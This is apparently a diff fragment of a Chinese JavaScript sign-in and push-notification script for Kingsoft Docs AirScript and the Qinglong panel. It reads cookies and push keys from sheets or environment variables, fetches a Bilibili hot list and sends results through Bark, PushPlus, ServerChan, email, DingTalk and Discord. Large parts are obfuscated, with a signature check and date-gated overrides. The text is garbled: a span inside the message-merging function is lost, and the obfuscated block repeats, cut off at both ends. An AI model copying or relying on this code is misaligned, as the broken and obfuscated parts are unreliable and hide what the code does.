checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "" + // console.log(messageName) + + // area = Range("D" + pos).Value2 + let url = "https://jkapi.com/api/bili_hot?limit=5" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + resp = resp.text() + // console.log(resp) + content = resp + messageSuccess += content + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("D" + pos).Text + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let 